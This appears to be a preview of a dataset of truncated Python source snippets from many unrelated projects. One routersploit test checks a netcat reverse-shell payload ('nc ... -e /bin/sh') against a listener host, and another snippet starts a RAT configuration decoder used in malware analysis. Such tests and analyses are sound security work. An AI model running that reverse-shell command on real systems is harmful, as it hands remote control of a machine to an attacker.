code stringlengths 1 199k |
|---|
from copy import copy
import numpy as np
from .fortranio import FortranFile
from .snapview import SnapshotView
class SnapshotIOException(Exception):
"""Base class for exceptions in the the snapshot module."""
def __init__(self, message):
super(SnapshotIOException, self).__init__(message)
class SnapshotH... |
"""
Export to RAW/RPL file format
Based on:
http://www.nist.gov/lispix/doc/image-file-formats/raw-file-format.htm
"""
import os
from pyhmsa.fileformat.exporter.exporter import _Exporter, _ExporterThread
from pyhmsa.spec.datum.analysislist import AnalysisList2D
from pyhmsa.spec.datum.imageraster import ImageRaster2D, Im... |
import time
import cgi
import json
import os
import BaseHTTPServer
HOST_NAME = 'localhost'
PORT_NUMBER = 9400
class PlayerService(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
... |
from django.http import HttpResponseRedirect
from django.contrib.contenttypes.models import ContentType
from django.utils.translation import ugettext as _
from .custom_fields import (
BooleanTimeStampField,
BooleanTimeStampFormField,
BooleanTimeStampWidget,
)
try:
from dal_select2.widgets import ModelSe... |
"""
WSGI config for bugsnag_demo project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/howto/deployment/wsgi/
"""
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "bugsnag_demo.settings")
from django.... |
import _plotly_utils.basevalidators
class TickvalsValidator(_plotly_utils.basevalidators.DataArrayValidator):
def __init__(
self, plotly_name="tickvals", parent_name="sunburst.marker.colorbar", **kwargs
):
super(TickvalsValidator, self).__init__(
plotly_name=plotly_name,
... |
"""Box geometry."""
from __future__ import division
from .helpers import poparg
class Box(object):
"""A Box holds the geometry of a box with a position and a size.
Because of how it is typically used, it takes a single dictionary of
arguments. The dictionary of arguments has arguments popped from it, and
... |
"""
Recursive data-types and support functions.
""" |
from django.conf.urls import *
from apps.profile import views
urlpatterns = patterns('',
url(r'^get_preferences?/?', views.get_preference),
url(r'^set_preference/?', views.set_preference),
url(r'^set_account_settings/?', views.set_account_settings),
url(r'^get_view_setting/?', views.get_view_setting),
... |
"""
Main command line script of the pas package.
The main function contained in this module is used ai main entry point for the
pas command line utility.
The script is automatically created by setuptool, but this file can be
directly invoked with `python path/to/pas.py` or directly if its executable
flag is set.
"""
im... |
import json
from django.contrib.contenttypes.models import ContentType
from rest_framework import serializers
from . import models
from pdc.apps.common.serializers import StrictSerializerMixin, DynamicFieldsSerializerMixin
class DefaultFilenameGenerator(object):
doc_format = '{name}-{version}-{release}.{arch}.rpm'
... |
import view
try:
view.main()
except:
print('Invalid List Format')
view.terminate() |
if False:
from gluon import current, URL, SQLFORM, redirect
from gluon import IS_NOT_EMPTY, Field, IS_EMAIL
from gluon import IS_NOT_IN_DB
request = current.request
response = current.response
session = current.session
cache = current.cache
T = current.T
from db import db, auth
@auth... |
import unittest
from tweetMining import TweetMining, TweetProxy, TestProxy, HttpProxy
import nltk
class TweetMiningTestCase(unittest.TestCase):
def setUp(self):
self.tweetMining = TweetMining(proxy='test')
self.search = self.tweetMining.search(q="twitter")
self.userInfoResponse = self.tweetM... |
from CIM15.IEC61970.Wires.Switch import Switch
class ProtectedSwitch(Switch):
"""A ProtectedSwitch is a switching device that can be operated by ProtectionEquipment.A ProtectedSwitch is a switching device that can be operated by ProtectionEquipment.
"""
def __init__(self, breakingCapacity=0.0, ProtectionEqu... |
import sqlite3
import numpy
import scipy.sparse
from django.test import SimpleTestCase
from matrixstore.serializer import serialize, serialize_compressed, deserialize
class TestSerializer(SimpleTestCase):
def test_simple_serialisation(self):
obj = {"hello": 123}
self.assertEqual(deserialize(serializ... |
import pika
import pickle
from display import LCDLinearScroll
connection = pika.BlockingConnection(pika.ConnectionParameters(
host='localhost'))
channel = connection.channel()
channel.exchange_declare(exchange='clock_output', type='fanout')
result = channel.queue_declare(exclusive=True)
queue_name = result.met... |
from django.conf.urls import patterns, include, url
from django.contrib import admin
from rest_framework import routers
from courts import views
router = routers.DefaultRouter()
router.register(r'courts', views.CourtsViewSet)
urlpatterns = patterns('',
url(r'^api/v1/', include(router.urls)),
url(r'^api-auth/', ... |
import re
from enum import Enum
diags = []
with open('input.txt', 'r') as f:
diags = f.read().splitlines()
gamma = ""
for i in range(0, len(diags[0])):
zeros = len([x for x in diags if x[i] == "0"])
ones = len([x for x in diags if x[i] == "1"])
gamma += "0" if zeros > ones else "1"
gamma = int(gamma, 2)
epsilon... |
import pyspark
import operator
import sys
def mapToLots(records):
import rtree
import csv
import os
os.chmod('plutoindex.idx',0777)
os.chmod('plutoindex.dat',0777)
file_index = rtree.index.Rtree('plutoindex')
for record in records:
list_record=[]
for line in csv.reader([recor... |
import os
import cgi
import cgitb
import json
from pprint import pprint
import setup.common as co
import setup.sqlcommon as sqlc
import setup.defaultpaths as dfp
import setup.getinput as gi
import setup.dbsetup as dbs
import setup.gettags as gt
import setup.createsongsjson as csj
import setup.createalbumsjson as calbj
... |
import pytest
from gitlabform.gitlab import AccessLevel
from tests.acceptance import (
run_gitlabform,
DEFAULT_README,
get_gitlab,
)
gl = get_gitlab()
@pytest.fixture(scope="function")
def branches(request, gitlab, group_and_project):
branches = [
"protect_branch_but_allow_all",
"protect... |
from participantCollection import ParticipantCollection
import re
import datetime
import pyperclip
nextMonthURL = "https://www.reddit.com/r/pornfree/comments/ex6nis/stay_clean_february_this_thread_updated_daily/"
currentMonthIndex = datetime.date.today().month - 1
if currentMonthIndex == 0:
currentMonthIndex = 12
c... |
from twython import Twython
from colors import const
import numpy as np
import PIL.Image as img
import colorsys
import StringIO
import os
from datetime import datetime
from datetime import timedelta
from random import randint
number_of_colours = 1094
def is_morning():
return 6 <= (datetime.utcnow() + timedelta(hour... |
import datetime as dt
import threading
from serial_device.or_event import OrEvent
import numpy as np
import pandas as pd
import gobject
import gtk
import matplotlib as mpl
from streaming_plot import StreamingPlot
from ...max11210_adc_ui import MAX11210_read
import logging
def _generate_data(stop_event, data_ready, data... |
import os
import shutil
from jinja2 import Environment, PackageLoader
import html
import xml.etree.ElementTree as et
class moodle_module:
def __init__(self, **kwargs):
self.backup = kwargs['backup']
self.temp_dir = kwargs['temp_dir']
self.db = kwargs['db']
self.directory = kwargs['di... |
from shutil import copyfile
import glob
import os
sql = './sql'
expected = './expected'
NEW_FILES = ['native_features']
for file in NEW_FILES:
filelist = glob.glob(f"{sql}/*{file}.sql")
for path in filelist:
try:
os.remove(path)
except:
print("Error while deleting file : ... |
'''
cmd_options -- Command Line Options Handler for JET MSS
'''
import os
import sys
import logging
from argparse import ArgumentParser
from argparse import RawDescriptionHelpFormatter
from os.path import dirname, expanduser, join, split, splitext, isabs
from subprocess import Popen, PIPE
from sys import argv, exit
__p... |
from decimal import Decimal
import logging
logger = logging.getLogger(__name__)
def check_number_for_decimal_conversion(number):
a = type(number) in (int, long)
b = isinstance(number, (str, unicode, Decimal))
c = isinstance(number, float)
if not (a or b or c):
logger.warning("You are using a num... |
def getPin(purpose):
purpose_collection = {
"i2c-data": 20
"i2c-clock": 19
"adc": 39
"adc0": 39
"adc-0": 39
"one-wire-data": 40
"adc1": 40
"adc-1": 40
"spi-slave-select": 28
"spi-master-out-slave-in": 30
"spi-master-in-slave-out": 29
"spi-clock": 31
}
if purpose in ... |
import re
def check_patterns():
patterns_list = []
#Read patterns file
with open("patterns.txt") as patterns1:
for line in patterns1:
line = line.rstrip("\n")
patterns_list.append(line)
print(patterns_list)
#Read log file
with open("Sample Logs.txt") as log1:
... |
"""
Django settings for djangoecommerce project.
Generated by 'django-admin startproject' using Django 1.9.8.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.9/ref/settings/
"""
import o... |
"""
check same interface phos_binding patterns
"""
import os
import sys
import urllib
import urllib2
import cPickle as pickle
from multiprocessing import Pool
def get_entityid(p):
pdbid,interface_id,chain1,chain2 = p
url = 'http://www.rcsb.org/pdb/rest/customReport.csv?'
data = {
'pdbids':pdbid,
... |
import os
path = os.path.dirname(os.path.realpath(__file__))
sbmlFilePath = os.path.join(path, 'MODEL1006230003.xml')
with open(sbmlFilePath,'r') as f:
sbmlString = f.read()
def module_exists(module_name):
try:
__import__(module_name)
except ImportError:
return False
else:
return... |
import sys, localconfig, platform, time
if platform.system() == "Windows":
sys.path.append(localconfig.winpath)
print "You are running the AnkitBot UAA Module for Windows. Sponsored by DQ. :)"
else:
sys.path.append(localconfig.linuxpath)
print "You are running the AnkitBot UAA Module for... |
""" path.py - An object representing a path to a file or directory.
Original author:
Jason Orendorff <jason.orendorff\x40gmail\x2ecom>
Current maintainer:
Jason R. Coombs <jaraco@jaraco.com>
Contributors:
Mikhail Gusarov <dottedmag@dottedmag.net>
Marc Abramowitz <marc@marc-abramowitz.com>
Jason R. Coombs <jaraco@j... |
from pyspark import SparkContext
from pyspark import SparkConf
from pyspark.streaming import StreamingContext
from pyspark.streaming.kafka import KafkaUtils
from pyspark.sql import SQLContext, Row
from pyspark.sql.types import *
from cassandra.cluster import Cluster
from cassandra import ConsistencyLevel
from cqlengine... |
import sys
from contextlib import contextmanager
from functools import wraps
from io import StringIO
def _set_replaced_stream(name, replacement=None):
stream = getattr(sys, name)
def andBackAgain():
setattr(sys, name, stream)
streamReplacement = StringIO() if replacement is None else replacement
... |
"""urlconf for the base application"""
from django.conf.urls import url, patterns
urlpatterns = patterns('base.views',
url(r'^$', 'home', name='home'),
) |
import numpy as np
import itertools
pop_size = 100
seq_length = 10
alphabet = ['A', 'T']
base_haplotype = "AAAAAAAAAA"
fitness_effect = 1.1 # fitness effect if a functional mutation occurs
fitness_chance = 0.1 # chance that a mutation has a fitness effect
pop = {}
pop["AAAAAAAAAA"] = 40
pop["AAATAAAAAA"] = 30
pop["AATT... |
from ventana import Ventana
from formularios import utils
import pygtk
pygtk.require('2.0')
import gtk, time
from framework import pclases
import mx.DateTime
from informes import geninformes
from ventana_progreso import VentanaActividad
class ConsultaPartidasPorProducto(Ventana):
def __init__(self, objeto = None, u... |
__author__ = 'Marko Milutinovic'
"""
This class will implement an Arithmetic Coding decoder
"""
import array
import utils
import math
class ARDecoder:
BITS_IN_BYTE = 8
def __init__(self, wordSize_, vocabularySize_, terminationSymbol_):
"""
Initialize the object
:param wordSize_: The word... |
from django.utils.unittest.case import TestCase
from scheduler.models import ScheduleGenerator
from uni_info.models import Semester, Course
class ScheduleGeneratorTest(TestCase):
"""
Test class for schedule generator, try different courses
"""
fixtures = ['/scheduler/fixtures/initial_data.json']
def... |
"""
This script is responsible for generating recommendations for the users. The general flow is as follows:
The best_model saved in HDFS is loaded with the help of model_id which is fetched from model_metadata_df.
`spark_user_id` and `recording_id` are fetched from top_artist_candidate_set_df and are given as input to... |
from gettext import gettext as _
from gettext import ngettext
import locale
import logging
from gi.repository import GObject
from gi.repository import Gtk
from sugar3.graphics import style
from sugar3.graphics.icon import Icon, CellRendererIcon
from jarabe.controlpanel.sectionview import SectionView
from jarabe.model.u... |
"""View controller for PortAdmin"""
import ConfigParser
import logging
import json
from operator import or_ as OR
from django.http import HttpResponse, JsonResponse
from django.template import RequestContext, Context
from django.shortcuts import render, render_to_response, get_object_or_404
from django.contrib import m... |
def funcion(**nombres):
print (type(nombres))
for alumno in nombres:
print ("%s es alumno y tiene %d años" % (alumno, nombres[alumno]))
return nombres
print (funcion(Adrian = 25, Nino = 25, Roberto = 23, Celina = 23)) |
class OptParser:
"""Parses the options in the given file and allowed for the content to be returned.
The file is expected to contain key/value pairs. Empty lines, and lines where first non
white space is a # are ignored.
"""
def __init__(self, filename):
self.filename = filename
def parse(self):
myvars = ... |
import ast
import re
import socket
import time
import os
from pathlib2 import Path
import config
import livestatus
import sites
from gui_exceptions import MKGeneralException
import cmk.paths
import cmk.ec.settings
import cmk.ec.export
import cmk.store
import cmk.utils
if cmk.is_managed_edition():
import managed
els... |
import re
class Aunt:
name = ''
def __init__(self, name):
self.name = name
self.count = {'children':-1,
'cats' : -1,
'samoyeds' : -1,
'pomeranians' : -1,
'akitas' : -1,
'vizslas' : -1,
... |
"""
Example Directory
.. automodule:: pyatb.examples.get_current_price
""" |
from __future__ import absolute_import
import numpy as np
from scipy.optimize import fsolve
from .. import constants
from ..utils.chemistry import dictionarize_formula, formula_mass
from ..utils.chemistry import formula_to_string, site_occupancies_to_strings
def fugacity(standard_material, assemblage):
"""
... |
from time import time
from datetime import timedelta
from helpers.command import Command
@Command('uptime', ['handler'])
def cmd(send, _, args):
"""Shows the bot's uptime.
Syntax: {command}
"""
curr = time()
uptime = args['handler'].uptime
starttime = curr - uptime['start']
reloaded = curr -... |
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
setup(
name='pyapi-emergence',
url='',
author='Neil Newman, Jonathan Marini',
author_email='nnewman2@albany.edu, jmarini@ieee.org',
packages=['emergence'],
install_requires=['requests'],
) |
from OpenOrange import *
from Document import Document
from Label import Label
from SQLTools import codeOrder, monthCode
from datetime import datetime
class AlotmentDoc(Document):
classattr = "classattr"
def getRecorda(self):
class newObj(object):
Status = 1
RootLabel = "100"
... |
import unittest
import numpy as np
import scipy.stats
import test_connect_helpers as hf
from test_connect_parameters import TestParams
@hf.nest.ll_api.check_stack
class TestAllToAll(TestParams):
# specify connection pattern
rule = 'all_to_all'
conn_dict = {'rule': rule}
# sizes of populations
N1 = 6... |
import urllib
import urllib2
import cookielib
import base64
import re
import json
import hashlib
'''该登录程序是参考网上写的'''
cj = cookielib.LWPCookieJar()
cookie_support = urllib2.HTTPCookieProcessor(cj)
opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
urllib2.install_opener(opener)
postdata = {
'entry': '... |
"""Common functions
"""
from marvin.cloudstackAPI import (listConfigurations,
listPhysicalNetworks,
listRegions,
addNetworkServiceProvider,
updateNetworkServiceProvider,
... |
import PyQtExtras
from PyQt5.QtWidgets import QFrame, QApplication
import sys
def main(args):
app = QApplication([])
main_frame = QFrame()
list_view = PyQtExtras.ListScrollArea(main_frame)
list_view.add_item_by_string('Item 1')
list_view.add_item_by_string('Item 2')
list_view.add_item_by_string(... |
number = 23
guess = int(input('Enter an integer : '))
if guess == number:
# 新块从这里开始
print('Congratulations, you guessed it.')
print('(but you do not win any pizzas!)')
# 新块在这里结束
elif guess < number:
# 另一代码块
print('No, it is a little higher than that')
# 你可以在此做任何你希望在该代码块内进行的事情
else:
print('No, it is a little low... |
from django.test import TestCase
from django import forms
from django.forms.models import ModelForm
import unittest
from employee.forms import *
from django.test import Client
class TestBasic(unittest.TestCase):
"Basic tests"
def test_basic(self):
a = 1
self.assertEqual(1, a)
class Modelforms_te... |
import os
import re
import oeqa.utils.ftools as ftools
from oeqa.selftest.base import oeSelfTest
from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_bb_vars
from oeqa.utils.decorators import testcase
class BitbakeTests(oeSelfTest):
def getline(self, res, line):
for l in res.output.split('\n'):
... |
callbacks = []
def startupNotification(callback):
callbacks.append(callback)
return callback
def notify():
for callback in callbacks:
callback() |
register(TOOL,
id = 'SetAttribute',
name = _("Set Attribute"),
description = _("Set an attribute to a given value."),
version = '0.0.32',
gramps_target_version = "5.1",
status = STABLE, # not yet tested with python 3
fname = 'SetAttributeTool.py',
... |
import contextlib
import sys
import lxml.etree as etree
import shelve
import subprocess
try:
import urllib2
except ImportError:
import urllib as urllib2
import time
import tvs.show
@contextlib.contextmanager
def spinning_distraction(spin):
if spin:
global p
p = subprocess.Popen(['tvs_spin.py... |
"""
Read a snakefood dependencies file and output the list of all files.
"""
import sys
from os.path import join
from snakefood.depends import read_depends, flatten_depends
def main():
import optparse
parser = optparse.OptionParser(__doc__.strip())
opts, args = parser.parse_args()
depends = read_depends... |
from collections import namedtuple
try:
from .ip_connection import Device, IPConnection, Error, create_char, create_char_list, create_string, create_chunk_data
except (ValueError, ImportError):
from ip_connection import Device, IPConnection, Error, create_char, create_char_list, create_string, create_chunk_data... |
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "QiuDaBao.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv) |
from miasm2.expression.modint import mod_size2int, mod_size2uint
from miasm2.expression.expression import *
from miasm2.expression.expression_helper import *
def simp_cst_propagation(e_s, e):
"""This passe includes:
- Constant folding
- Common logical identities
- Common binary identities
"""
... |
"""
Industrial Dual Analog In Plugin
Copyright (C) 2015 Olaf Lüke <olaf@tinkerforge.com>
Copyright (C) 2015-2016 Matthias Bolte <matthias@tinkerforge.com>
industrial_dual_analog_in.py: Industrial Dual Analog In Plugin Implementation
This program is free software; you can redistribute it and/or
modify it under the terms... |
import jsonschema
import json
import os
import sys
import os.path as op
import tempfile
import pytest
from argparse import ArgumentParser, RawTextHelpFormatter
from jsonschema import ValidationError
from boutiques.validator import DescriptorValidationError
from boutiques.publisher import ZenodoError
from boutiques.invo... |
from geobricks_data_scripts.dev.utils.data_manager_util import get_data_manager
data_manager = get_data_manager()
data_manager.delete("mod13a2", True, False, False) |
__author__ = 'oskyar'
from django.db import models
from django.utils.translation import ugettext as _
from s3direct.fields import S3DirectField
from smart_selects.db_fields import ChainedManyToManyField
class SubjectManager(models.Manager):
def owner(self, pk_subject):
return self.get(pk=pk_subject).teacher... |
import os
from com.googlecode.fascinator.api.indexer import SearchRequest
from com.googlecode.fascinator.api.storage import StorageException
from com.googlecode.fascinator.common.solr import SolrDoc, SolrResult
from org.apache.tapestry5.internal.services import URLEncoderImpl
from org.apache.tapestry5.internal import T... |
from routersploit.modules.payloads.cmd.netcat_reverse_tcp import Payload
reverse_tcp = (
"nc 192.168.1.4 4321 -e /bin/sh"
)
def test_payload_generation():
""" Test scenario - payload generation """
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.run() == rev... |
from __future__ import absolute_import, print_function, division
from six.moves import range, map, filter, zip
from six import iteritems
from collections import deque, defaultdict
from .polygon import is_same_direction, line_intersection
from .surface_objects import SaddleConnection
def get_linearity_coeff(u, v):
r... |
import numpy as np
import matplotlib.pyplot as plt
from stimulus import *
from myintegrator import *
from functions import *
import matplotlib.gridspec as gridspec
import cPickle as pickle
patterns=np.identity(n)
patterns=[patterns[:,i] for i in range(n)]
mystim=stimulus(patterns,lagStim,delta,period,times)
mystim.inte... |
from qgis.gui import QgsColorWheel
color_wheel = QgsColorWheel()
def on_color_wheel_changed(color):
print(color)
color_wheel.colorChanged.connect(on_color_wheel_changed)
color_wheel.show() |
def repeat_to_length(string_to_expand, length):
return (string_to_expand * ((length/len(string_to_expand))+1))[:length]
try:
from fpdf import FPDF
except ImportError:
from pyfpdf import FPDF
class PDF(FPDF):
def __init__(self, orientation,unit,format):
FPDF.__init__(self, orientation=orientation,... |
"""Low level USB interface to weather station, using PyUSB v0.4.
Introduction
============
This module handles low level communication with the weather station
via the `PyUSB <http://sourceforge.net/apps/trac/pyusb/>`_ library. It
is one of several USB device modules, each of which uses a different
USB library interfac... |
import os,sys,urllib2
import xbmcplugin,xbmcgui
import xml.etree.ElementTree as ET
__addon__ = "SomaFM"
__addonid__ = "plugin.audio.somafm"
__version__ = "0.0.2"
def log(msg):
print "[PLUGIN] '%s (%s)' " % (__addon__, __version__) + str(msg)
log("Initialized!")
log(sys.argv)
rootURL = "http://somafm.com/"
handle = ... |
"""
Nonlinear cartoon+texture decomposition ipol demo web app
"""
from lib import base_app, build, http, image
from lib.misc import ctime
from lib.misc import prod
from lib.base_app import init_app
import shutil
import cherrypy
from cherrypy import TimeoutError
import os.path
import time
from math import ceil
class app... |
"""
API Exception Module
"""
import logging
logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
no_geneID_parameter_error_msg = "No geneID/locus has been submitted!"
no_geneID_error_msg = "No node information found for geneID: "
class NotFound(Exception):
pass
class ... |
import graph_latex_patched
from sage.all import *
import dynamicalsystems
from sage.misc.latex import _latex_file_
from sage.symbolic.function_factory import function
class deps:
index, sumover = range(0,2)
def plot_boxmodel_graph( g, filename=None, inline=False, figsize=(6,6), empty_vertices=(), ellipsis_vertices=... |
import logging
from string import Template
from builtins_generator import BuiltinsGenerator, WK_lcfirst, WK_ucfirst
from builtins_templates import BuiltinsGeneratorTemplates as Templates
log = logging.getLogger('global')
class BuiltinsInternalsWrapperImplementationGenerator(BuiltinsGenerator):
def __init__(self, mo... |
import PyKDE4.kdeui as __PyKDE4_kdeui
import PyQt4.QtCore as __PyQt4_QtCore
import PyQt4.QtGui as __PyQt4_QtGui
class KDirWatch(__PyQt4_QtCore.QObject):
# no doc
def addDir(self, *args, **kwargs): # real signature unknown
pass
def addFile(self, *args, **kwargs): # real signature unknown
pass... |
from distutils.core import setup
import re
def get_long_description():
handle = open("doc/lrparsing.rst")
while not next(handle).startswith("====="):
pass
long_description=[]
for line in handle:
if line.startswith("====="):
break
line = re.sub(":[a-z]*:`([^`<]*[^`< ])[^`]*`", "\\1", line)
... |
"""
For the moment we're not using this, but it would be nice to do so
at some point. It isn't really relevant to the researcher RDF export, the
idea would be to export details of a web-presence, to compile a complete directory
of websites in the Medical Sciences Division.
"""
def addWebPresenceElement(rdf, deptElement... |
'''
BlueBanana Rat Config Decoder
'''
__description__ = 'BlueBanana Rat Config Extractor'
__author__ = 'Kevin Breen http://techanarchy.net http://malwareconfig.com'
__version__ = '0.1'
__date__ = '2014/04/10'
import os
import sys
import string
from zipfile import ZipFile
from cStringIO import StringIO
from optparse imp... |
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
ledpin = 18
GPIO.setup(ledpin, GPIO.OUT)
try:
while True:
GPIO.output(ledpin, 1)
time.sleep(0.5)
GPIO.output(ledpin, 0)
time.sleep(0.5)
except KeyboardInterrupt:
GPIO.cleanup() |
import xbmc
import xbmcaddon
__addon__ = xbmcaddon.Addon(id='script.artwork.downloader')
__addonid__ = __addon__.getAddonInfo('id')
__addonname__ = __addon__.getAddonInfo('name')
__author__ = __addon__.getAddonInfo('author')
__version__ = __addon__.getAddonInfo('version')
__addonpath__ = __addon_... |
"""
Widgets Module
"""
__author__ = 'Matt Eland' |
import requesocks
import certifi
SOCKS5_PROXY = '192.168.20.1:9050'
USER_AGENT = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ' \
'Chrome/45.0.2454.85 Safari/537.36'
def main():
session = requesocks.session()
session.proxies = {
'http': 'socks5://{0}'.format(S... |
from __future__ import division
from sys import argv, stdout, stderr
from codecs import open as cfopen
def main(invocation, *cli_args):
HEIDI_CHARSET = 'UTF-8'
INI_CHARSET = 'UTF-8-sig'
if len(cli_args) < 1:
raise ValueError('not enough parameters. required: ConfigFileName')
cfg_fn = cli_args[0]... |
__author__ = 'eduardo'
import unittest
import os
import os.path
import cocar.tests
from ..session import Host, SnmpSession, NmapSession
from ..model import network
from .. import utils
class TestDiscover(unittest.TestCase):
"""
Testa descoberta de ativos de rede utilizando snmp
"""
def setUp(self):
... |
__author__ = 'herald olivares'
from django.contrib import admin
from upc.sunat.models import Person, Concept, Debt
class PersonAdmin(admin.ModelAdmin):
list_display = ('name', 'ruc', 'phone', 'type')
class ConceptAdmin(admin.ModelAdmin):
pass
class DebtAdmin(admin.ModelAdmin):
list_display = ('concept', 'pe... |
import codecs
import json
import unittest
from pkg_resources import resource_filename
from calmjs.parse import es5
class ExamplesTestCase(unittest.TestCase):
"""
A test case that automatically load the examples JS module into the
data attribute for the test instance, and to provide a shortcut for
doing ... |
"""
Collection of tools for the IQTools library
Xaratustrah
2017
"""
import os
import logging as log
from scipy.signal import hilbert
from scipy.io import wavfile
import xml.etree.ElementTree as et
import numpy as np
import types
import uproot3
import uproot3_methods.classes.TH1
from iqtools.iqbase import IQBase
from i... |
import os
import shutil
import zipfile
import zlib
import os.path
def _ignore(src, name ):
if src == './UPLOAD/':
print name
return ['RESTDIR', 'conf.inc.php', 'Nuked-Klan.zip', '.hg', 'make.py']
else:
return []
def _RecImport(src, dst, zip):
elements = os.listdir(src)
ignored = ... |
import pytest
import testutils
@pytest.fixture()
def cli():
'''Fixture for testing through the `cpe` commandline interface.'''
return testutils.Cli() |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.